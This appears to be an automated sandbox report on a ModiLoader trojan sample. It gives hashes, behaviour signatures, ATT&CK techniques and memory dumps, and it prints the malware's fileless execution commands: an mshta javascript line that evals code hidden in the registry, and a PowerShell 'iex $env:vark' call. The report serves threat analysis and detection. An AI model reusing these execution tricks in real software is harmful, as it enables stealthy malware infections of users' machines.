modiloader | b2b3b9900857b05b65148603ca063bbb684a53912dbf1499f561f212bd8e3e83

Analysis

max time kernel
90s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
01/10/2022, 22:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

b2b3b9900857b05b65148603ca063bbb684a53912dbf1499f561f212bd8e3e83.exe
Size

424KB
MD5

69da7bfc663efb0653ef020e17023f06
SHA1

3857b4b35eeeec7f3df96d5557f737be18c2e513
SHA256

b2b3b9900857b05b65148603ca063bbb684a53912dbf1499f561f212bd8e3e83
SHA512

4d09fb4c8b15a4a5af013952d100c3d9afb7c5a0fcc99bc1fda5bce0c35e1836c40c424d51c770a346cc093a11cd1f1b481055a289062546f902053e214c3924
SSDEEP

12288:QzHypOkQuQ8ukplnRcmHxyeIWNUuqMd1+aBdN:StkHQ8BVcyu/uq6BdN

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	1348	mshta.exe	24

ModiLoader Second Stage 3 IoCs

resource	yara_rule
behavioral2/memory/4844-133-0x0000000000400000-0x0000000000470000-memory.dmp	modiloader_stage2
behavioral2/memory/4844-135-0x0000000000060000-0x0000000000120000-memory.dmp	modiloader_stage2
behavioral2/memory/4844-146-0x0000000000060000-0x0000000000120000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3260	powershell.exe
3260	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 3260	2388	mshta.exe	92
PID 2388 wrote to memory of 3260	2388	mshta.exe	92
PID 2388 wrote to memory of 3260	2388	mshta.exe	92

C:\Users\Admin\AppData\Local\Temp\b2b3b9900857b05b65148603ca063bbb684a53912dbf1499f561f212bd8e3e83.exe
"C:\Users\Admin\AppData\Local\Temp\b2b3b9900857b05b65148603ca063bbb684a53912dbf1499f561f212bd8e3e83.exe"
1⤵
PID:4844

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:QtPwIr3oJ="Zs3VK";ch5=new%20ActiveXObject("WScript.Shell");bfDAS9M="gkxWl5";GHmh4=ch5.RegRead("HKLM\\software\\Wow6432Node\\VNjinvR\\dlKnhupI3");kuU2G7rFK="4uZw";eval(GHmh4);iV7PQCZ="hBSCS1rmI";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vark
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3260

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3260-139-0x0000000005BA0000-0x0000000005BC2000-memory.dmp

Filesize
136KB

Download
memory/3260-143-0x00000000081B0000-0x000000000882A000-memory.dmp

Filesize
6.5MB

Download
memory/3260-140-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Filesize
408KB

Download
memory/3260-137-0x0000000003220000-0x0000000003256000-memory.dmp

Filesize
216KB

Download
memory/3260-138-0x0000000005E00000-0x0000000006428000-memory.dmp

Filesize
6.2MB

Download
memory/3260-141-0x0000000006430000-0x0000000006496000-memory.dmp

Filesize
408KB

Download
memory/3260-144-0x0000000006E40000-0x0000000006E5A000-memory.dmp

Filesize
104KB

Download
memory/3260-142-0x0000000006940000-0x000000000695E000-memory.dmp

Filesize
120KB

Download
memory/4844-133-0x0000000000400000-0x0000000000470000-memory.dmp

Filesize
448KB

Download
memory/4844-132-0x0000000002230000-0x0000000002280000-memory.dmp

Filesize
320KB

Download
memory/4844-145-0x0000000002230000-0x0000000002280000-memory.dmp

Filesize
320KB

Download
memory/4844-135-0x0000000000060000-0x0000000000120000-memory.dmp

Filesize
768KB

Download
memory/4844-146-0x0000000000060000-0x0000000000120000-memory.dmp

Filesize
768KB

Download